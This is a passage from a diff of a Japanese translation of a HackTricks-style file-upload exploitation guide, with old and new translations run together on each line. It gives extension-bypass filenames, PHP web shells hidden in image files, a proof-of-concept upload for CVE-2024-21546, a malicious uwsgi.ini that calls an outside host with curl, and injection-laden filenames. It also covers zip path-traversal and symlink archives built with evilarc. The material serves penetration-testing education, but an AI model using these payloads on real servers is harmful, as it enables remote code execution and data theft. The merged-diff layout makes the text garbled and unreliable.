2. _実行拡張子の前に有効な拡張子を**追加**してみてください(前述の拡張子も使用):_ 2. _実行用の拡張子の前に有効な拡張子を追加してチェックする(前述の拡張子も使用):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. 末尾に**特殊文字**を追加してみてください。Burpを使ってすべての**ascii**や**Unicode**文字を**bruteforce**することができます。(_注前述の拡張子を使うこともできます_) 3. ファイル名の末尾に**特殊文字を追加**してみてください。Burp を使ってすべての **ascii****Unicode** 文字を**ブルートフォース**するのも有効です。(_前述した**拡張子**を使って試すこともできます_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. サーバー側の拡張子パーサーを騙すことで保護をバイパスしてみてください。例えば、拡張子を**二重化**したり、拡張子間に**ゴミデータ****null**バイトを挟むなどの手法です。_より良いペイロードを作成するために、前述の拡張子を使用することもできます._ 4. サーバ側の拡張子パーサを騙して保護を回避する方法(拡張子を二重にする、拡張子間にジャンクデータや**null**バイトを挟むなどを試してください。_より良いペイロードを作るために前述の拡張子も使えます。_
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. 前述のチェックに**さらに拡張子の層**を追加してみてください: 5. さらに層を追加してチェック:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. 実行拡張子を有効な拡張子の前に置いて、サーバが誤設定されていることを期待してみてください。Apacheの誤設定を悪用する際に有用で、拡張子が**_.php_**を含むが必ずしも .php で終わらない場合でもコードが実行されることがあります): 6. 実行用の拡張子を有効な拡張子の前に置いて、サーバが誤設定されていることを期待してみる。Apache の誤設定を突くのに有用で、拡張子が** _**.php**_** を含むものは必ずしも .php で終わらなくてもコードが実行される場合がある)
- _ex: file.php.png_ - _ex: file.php.png_
7. **NTFS alternate data stream (ADS)** を **Windows** で使用する方法。 この場合、禁止された拡張子の後と許可された拡張子の前にコロン文字 ":" が挿入されます。その結果、サーバー上に**禁止された拡張子の空ファイル**が作成されます(例: "file.asax:.jpg")。このファイルは後で短いファイル名を使うなどの他の手法で編集される可能性があります。パターン "**::$data**" は非空のファイルを作成するためにも使用できます。したがって、このパターンの後にドットを追加することは、さらなる制限を回避するのに有用な場合があります(例: "file.asp::$data." 7. **Windows** の NTFS alternate data stream (ADS) を利用する。禁止された拡張子の後、許可された拡張子の前にコロン ":" を挿入します。その結果、サーバ上に**禁止された拡張子を持つ空ファイル**が作成されることがあります(例: "file.asax:.jpg”。このファイルは後で short filename など他の手法で編集できる可能性があります。"**::$data**” パターンを使うと非空のファイルを作成することもできます。したがって、このパターンの後にドットを追加することもさらなる制限回避に有効です(例: "file.asp::$data.”
8. ファイル名の長さ制限を超えるようにしてみてください。有効な拡張子が切り取られ、悪意ある PHP が残されます。AAA<--SNIP-->AAA.php 8. ファイル名長の制限を破ることを試す。正しい拡張子が切り捨てられ、悪意のある PHP 部分が残る可能性があります。AAA<--SNIP-->AAA.php
``` ```
# Linux maximum 255 bytes # Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
一部のアップロードハンドラは、保存されるファイル名から末尾のドット文字をトリムまたは正規化します。UniSharps Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 より前のバージョンでは、次の方法で拡張子検証をバイパスできます: 一部の upload handler は保存時にファイル名の末尾のドットをトリムまたは正規化します。UniSharp の Laravel Filemanager (unisharp/laravel-filemanager) バージョン 2.9.1 未満では、次の手順で拡張子検証をバイパスできます:
- 有効な画像 MIME と magic header例: PNG の `\x89PNG\r\n\x1a\n`を使用する。 - PNG の `\x89PNG\r\n\x1a\n` のような有効な image MIME と magic header を使用する。
- アップロードファイルを PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`)。 - アップロードするファイル名を PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`)。
- サーバーは末尾のドットを取り除き `shell.php` として保存します。これはウェブで配信されるディレクトリ(デフォルトの public storage 例えば `/storage/files/`)に配置されると実行されます。 - サーバは末尾のドットを削除して `shell.php` として保存し、公開ディレクトリ(デフォルトの public storage 例: /storage/files/)に配置されれば実行されます。
簡易 PoC (Burp Repeater): Minimal PoC (Burp Repeater):
```http ```http
POST /profile/avatar HTTP/1.1 POST /profile/avatar HTTP/1.1
Host: target Host: target
@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?> \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary-- ------WebKitFormBoundary--
``` ```
保存されたパスにアクセスする(典型的には Laravel + LFM 次に保存されたパスにアクセスします (Laravel + LFMで典型的です):
``` ```
GET /storage/files/0xdf.php?cmd=id GET /storage/files/0xdf.php?cmd=id
``` ```
緩和策: Mitigations:
- unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。 - unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。
- サーバー側で厳格な allowlists を適用し、保存されたファイル名を再検証する。 - サーバー側で厳格な allowlists を強制し、永続化されたファイル名を再検証する。
- アップロードを実行可能場所から配信する。 - アップロードを実行可能な場所から配信する。
### Content-Type、magic number、Compression & Resizing の回避 ### Bypass Content-Type, Magic Number, Compression & Resizing
- Content-Type チェックは、**Content-Type** **header****value** を次のように設定して回避する: _image/png_ , _text/plain , application/octet-stream_ - **Content-Type** チェックは、**Content-Type** **header****value** を次のように設定してバイパスできます: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** チェックは、ファイルの先頭に **実際の画像のバイト** を追加して回避する_file_ コマンドを混乱させる)。またはメタデータ内にシェルを埋め込む:\ - **magic number** チェックは、ファイルの先頭に **bytes of a real image** を追加して_file_ コマンドを混乱させる)バイパスできます。あるいは **metadata** にシェルを埋め込む:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または画像内に直接ペイロードを埋め込むこともできる:\ またはペイロードを画像に**直接埋め込む**こともできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- もし画像に **圧縮が加えられる**(例: [PHP-GD](https://www.php.net/manual/fr/book.image.php) などの標準的なPHPライブラリを使用している場合は、前述の手法は有効でない場合がある。しかし、**PLTE chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って、**圧縮を生き延びる**テキストを挿入することができる - もし画像に **圧縮が適用されている**(例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準的な PHP ライブラリを使っている)場合、前述の手法は有効でないことがあります。しかし、**PLTE chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、**圧縮を生き残る**テキストを挿入できます
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Webページが例えば PHP-GD の `imagecopyresized``imagecopyresampled` を使って **画像をリサイズ** している場合でも、**IDAT chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って **圧縮を生き延びる**テキストを挿入できる - ウェブページが例えば PHP-GD の `imagecopyresized``imagecopyresampled` 関数を使って **画像をリサイズ** している場合があります。しかし、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、**圧縮を生き残る**テキストを挿入できます
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 画像のリサイズを生き延びるペイロードを作る別の手法として、PHP-GD の `thumbnailImage` を使用する場合がある。こちらも **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って **圧縮を生き延びる**テキストを挿入できる - 画像のリサイズPHP-GD の `thumbnailImage` を使用するなど)を生き残るペイロードを作る別の手法もありますが、**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、**圧縮を生き残る**テキストを挿入できます
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 確認すべきその他のトリック ### Other Tricks to check
- 既にアップロードされたファイルを**rename**(拡張子を変更する)できる脆弱性を探す。 - アップロード済みファイルの拡張子を変更するために **rename** できる脆弱性を探す。
- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。 - バックドアを実行するための **Local File Inclusion** 脆弱性を探す。
- **Possible Information disclosure**: - **情報漏洩の可能性**:
1. 同じ名前の**同じファイル**を**複数回**(かつ**同時に**)アップロードする。 1. 同じ名前の **同一ファイル****複数回**(かつ **同時に**)アップロードする。
2. すでに存在する**ファイル名**や**フォルダ名**と同じ名前のファイルをアップロードする。 2. 既に存在する **ファイル****フォルダ** と同じ **名前** のファイルをアップロードする。
3. 名前が `"."`, `".."`, または `"..."` のようなファイルをアップロードする。例えば、Apache の **Windows** 環境でアプリケーションが "/www/uploads/" ディレクトリにアップロードを保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまうことがある 3. 名前が **"."、".."、または "..."** のファイルをアップロードする。例えば、Apache on **Windows** でアプリケーションがアップロードファイルを "/www/uploads/" に保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまう。
4. **NTFS**Windows**"…:.jpg"** のように削除しにくいファイルをアップロードする。 4. **NTFS** 上で **"…:.jpg"** のように削除しづらいファイルをアップロードする。Windows
5. **Windows** で名前に `|<>*?”` のような無効な文字を含むファイルをアップロードする。 5. **Windows** で名前に `|<>*?”` のような **無効な文字** を含むファイルをアップロードする。Windows
6. CON, PRN, AUX, NUL, COM1 ... COM9, LPT1 ... LPT9 のような **予約(禁止)名** を使って Windows にファイルをアップロードする。 6. **Windows** で CON, PRN, AUX, NUL, COM1…COM9, LPT1…LPT9 のような **予約(禁止)名** を使ってファイルをアップロードする。
- また、被害者が誤って開いたときにコードを実行する可能性のある **実行ファイル**.exeや、より疑われにくい **.html** をアップロードしてみる。 - 被害者が誤って開いたときにコードを実行するような、.exe のような **実行可能ファイル** や、より怪しまれにくい **.html** をアップロードしてみる。
### Special extension tricks ### Special extension tricks
PHP サーバにファイルをアップロードしようとしている場合、コードを実行するための **.htaccess** トリックを参照すること: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
ASP サーバにファイルをアップロードする場合は、**.config** トリックを参照してコードを実行する方法を見るとよい: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` ファイルは java の `.jar` に似ているが php 用で、php として **使用できる**php で実行したり、スクリプト内で include したりできる)ことがある `.phar` ファイルは Java の `.jar` に似ており php 用で、**php ファイルのように使える**php で実行したり、スクリプト内で include したりできる)。
`.inc` 拡張子は、ファイルを **import** する目的で使われる php ファイルに使われることがあり、場合によってはこの拡張子が実行許可されていることがある。 `.inc` 拡張子はファイルのインポートに使われる php ファイルに使われることがあり、場合によってはこの拡張子が実行されるように許可されていることがある。
## **Jetty RCE** ## **Jetty RCE**
Jetty サーバに XML ファイルをアップロードできれば、[RCE が発生する可能性がある(**new \*.xml と \*.war が自動的に処理されるため**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** したがって、以下の画像にあるように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが期待できる。 Jetty サーバーに XML ファイルをアップロードできると、[RCE を得られる(**new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1) 可能性があります。したがって、次の画像にあるように XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルを得られます!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
この脆弱性の詳細な検証については元の調査を参照: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
uWSGI サーバでは、`.ini` 設定ファイルを変更できる場合に Remote Command Execution (RCE) 脆弱性が悪用される可能性がある。uWSGI の設定ファイルは、"magic" 変数、プレースホルダ、演算子を組み込むための特有の構文を持つ。特に `@(filename)` のように使われる '@' 演算子はファイルの内容をインクルードするために設計されている。uWSGI がサポートする様々なスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read に悪用され得る Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを改変できる場合に uWSGI サーバーで悪用され得ます。uWSGI の設定ファイルは "magic" な変数、プレースホルダ、演算子を取り込む特有の構文を持ちます。特に '@' 演算子(`@(filename)` の形式はファイルの内容をインクルードするために使われます。uWSGI がサポートするさまざまなスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることが可能です。この機能は、`.ini` 設定ファイルが処理される際に、Remote Command Execution や Arbitrary File Write/Read といった悪用に利用され得ます
以下は、有害な `uwsgi.ini` ファイルの例を示す。 次に示すのは、さまざまなスキームを示す悪意ある `uwsgi.ini` ファイルの例です:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -156,14 +156,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. payload の実行は設定ファイルの解析時に発生します。設定が有効化され解析されるには、uWSGI プロセスを再起動する(クラッシュ後や Denial of Service attack による場合など)か、ファイルが auto-reload に設定されている必要があります。auto-reload 機能が有効な場合、変更を検知すると指定した間隔でファイルを再読み込みします。
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. uWSGI の設定ファイル解析が緩いことを理解することが重要です。具体的には、ここで述べた payload はバイナリファイルimage や PDF など)に埋め込むことができ、悪用の範囲をさらに広げます。
## **wget File Upload/SSRF Trick** ## **wget ファイルアップロード/SSRF トリック**
場合によっては、サーバが**`wget`**を使って**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。このようなケースでは、ダウンロードされるファイルの拡張子が許可リストwhitelist内にあるかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックは回避可能です。**\ 場合によってはサーバが **`wget`** を使用して **download files** を行い、あなたが **indicate** できる **URL** を指定できることがあります。こうした場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあるかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**this check can be bypassed.**\ **linux** における **filename****maximum** 長さは **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。例えば、**download a file called "A"\*232+".php"+".gif"** といったファイルをダウンロードすると、このファイル名は(この例では **".gif"** が **valid** な拡張子であるため)**bypass** して **check** を通過しますが、`wget` はファイル名を **"A"\*232+".php"** に **rename** します。
**最大**長の**filename**は**linux**で**255**ですが、**wget**はfilenameを**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードすると、このfilenameは**バイパス**して**チェック**をすり抜けます(この例では**".gif"**が**有効**な拡張子であるため)が、`wget`はファイル名を**"A"\*232+".php"**に**リネーム**します。
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +185,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
``` ```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. Note that **別のオプション** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **動作しません** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## ツール ## ツール
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters and Bug Hunters が file upload mechanisms をテストするのを支援するために設計された強力なツールです。様々な bug bounty テクニックを活用して脆弱性の識別と悪用を簡素化し、webアプリケーション の徹底的な評価を支援します。 - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
### Corrupting upload indices with snprintf quirks (historical) ### snprintf の挙動の違いによる upload インデックスの破損historical
一部のレガシーな upload handler は `snprintf()` 等を使って single-file upload から multi-file 配列を構築しており、これを利用して `_FILES` 構造を偽造させることができます。`snprintf()` の挙動の不一致や切り捨てによって、巧妙に作られた単一アップロードがサーバー側で複数のインデックス付きファイルとして見えてしまい、厳密な形状を仮定しているロジック(例えば multi-file upload として扱い安全でない分岐を取る部分を混乱させます。今日ではニッチな問題ですが、この「index corruption」パターンは時折 CTF や古いコードベースで再出現します。 単一ファイルのアップロードからマルチファイル配列を構築するために `snprintf()` や類似の関数を使用する一部のレガシーなアップロードハンドラは、`_FILES` 構造を偽造されるように騙されることがあります。`snprintf()` の挙動における不整合や切り捨てのため、巧妙に作られた単一のアップロードがサーバ側で複数のインデックス付きファイルとして現れ、厳密な形状を想定したロジック(例:マルチファイルアップロードとして扱い、安全でない分岐を取る)を混乱させます。今日ではニッチですが、この “index corruption” パターンは時折 CTF や古いコードベースで再出現します。
## ファイルアップロードから他の脆弱性 ## ファイルアップロードから派生するその他の脆弱性
- **filename**`../../../tmp/lol.png` に設定して **path traversal** を試みる - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- **filename**`sleep(10)-- -.jpg` に設定すると **SQL injection** を達成できる可能性がある - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- **filename**`<svg onload=alert(document.domain)>` に設定して **XSS** を達成する - Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- **filename**`; sleep 10;` に設定してコマンドインジェクションをテストする(他の [command injections tricks here](../command-injection.md) を参照) - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- [**different svg payloads**](https://github.com/allanlw/svg-cheatsheet) を試す - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- サーバーに対して **image** を URL から取得させることができる場合、[SSRF](../ssrf-server-side-request-forgery/index.html) を悪用できる可能性がある。この **image** が公開サイトに保存される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) のような URL を指定して **訪問者の情報を盗む** ことも可能になる。 - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- 特殊に細工した PDF による XSS: [以下のページは **inject PDF data to obtain JS execution** 方法を示している](../xss-cross-site-scripting/pdf-injection.md)。PDF のアップロードが可能なら、与えられた指示に従って任意の JS を実行する PDF を準備できる。 - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- サーバーに **antivirus** があるか確認するために \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) のコンテンツをアップロードする - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- ファイルアップロード時の **size limit** があるか確認する - Check if there is any **size limit** uploading files
以下はアップロードによって達成可能なことのトップ10リスト[here](https://twitter.com/SalahHasoneh1/status/1281274120395685889) より): Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE 2. **SVG**: Stored XSS / SSRF / XXE
@ -234,39 +233,39 @@ Note that **another option** you may be thinking of to bypass this check is to m
https://github.com/portswigger/upload-scanner https://github.com/portswigger/upload-scanner
{{#endref}} {{#endref}}
## Magic Header Bytes ## マジックヘッダバイト
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"` - **JPG**: `"\xff\xd8\xff"`
他のファイルタイプについては [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) を参照してください。 Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar ファイルが自動的に展開されるアップロード ## Zip/Tar ファイルの自動解凍アップロード
サーバー内で展開される ZIP をアップロードできる場合、2つのことができます: If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink ### Symlink
他のファイルへの soft links を含むリンクをアップロードし、展開されたファイルにアクセスするとリンク先のファイルへアクセスできるようにする: シンボリックリンクを含むアーカイブをアップロードすると、解凍後にその展開されたファイルにアクセスすることでリンク先のファイルへアクセスできます:
``` ```
ln -s ../../../index.php symindex.txt ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt tar -cvf test.tar symindex.txt
``` ```
### 異なるフォルダに解凍する ### 異なるフォルダに解凍
解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードによって OS-level command execution を防げると当初は考えられていても、ZIP archive format の階層的な圧縮サポートと directory traversal の機能が悪用される可能性があります。これにより攻撃者は対象アプリケーションの解凍機能を操作して制限を回避し、安全なアップロードディレクトリから脱出することができます。 解凍中にディレクトリ内にファイルが意図せず作成されることは重大な問題です。この構成が悪意あるファイルアップロードによるOSレベルのコマンド実行を防ぐと最初は想定されても、ZIPアーカイブ形式の階層的な圧縮サポートとディレクトリトラバーサル機能が悪用され得ます。これにより、攻撃者は対象アプリケーションの解凍機能を操作して制限を回避し、安全なアップロードディレクトリから脱出できます。
そのようなファイルを作成する自動化された exploit が [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) にあります。ユーティリティは次のように使用できます: そのようなファイルを生成する自動化エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手できます。ユーティリティの使用例は以下のとおりです:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
さらに、**symlink trick with evilarc** も選択肢です。目的が `/flag.txt` のようなファイルを狙う場合、そのファイルへの symlink をシステム上に作成しておくべきです。これにより evilarc が動作中にエラーを起こさないようにできます。 また、**symlink trick with evilarc** は選択肢の一つです。もしターゲットが `/flag.txt` のようなファイルであれば、そのファイルへの symlink をシステム上に作成しておくべきです。これにより evilarc が動作中にエラーを発生させないようにできます。
Below is an example of Python code used to create a malicious zip file: 以下は、悪意のある zip ファイルを作成するために使用される Python コードの例です:
```python ```python
#!/usr/bin/python #!/usr/bin/python
import zipfile import zipfile
@ -284,11 +283,11 @@ zip.close()
create_zip() create_zip()
``` ```
**圧縮を悪用した file spraying** **圧縮の悪用による file spraying**
細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) しくは **元記事を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: `$_REQUEST` 変数から渡されたコマンドを実行するPHPコードが書かれています。 1. **Creating a PHP Shell**: PHPコードは `$_REQUEST` 変数を通じて渡されたコマンドを実行するように書かれています。
```php ```php
<?php <?php
@ -298,14 +297,14 @@ system($cmd);
}?> }?>
``` ```
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを組み立てます。 2. **File Spraying and Compressed File Creation**: 複数のファイルが作成され、それらを含むzipアーカイブが組み立てられます。
```bash ```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
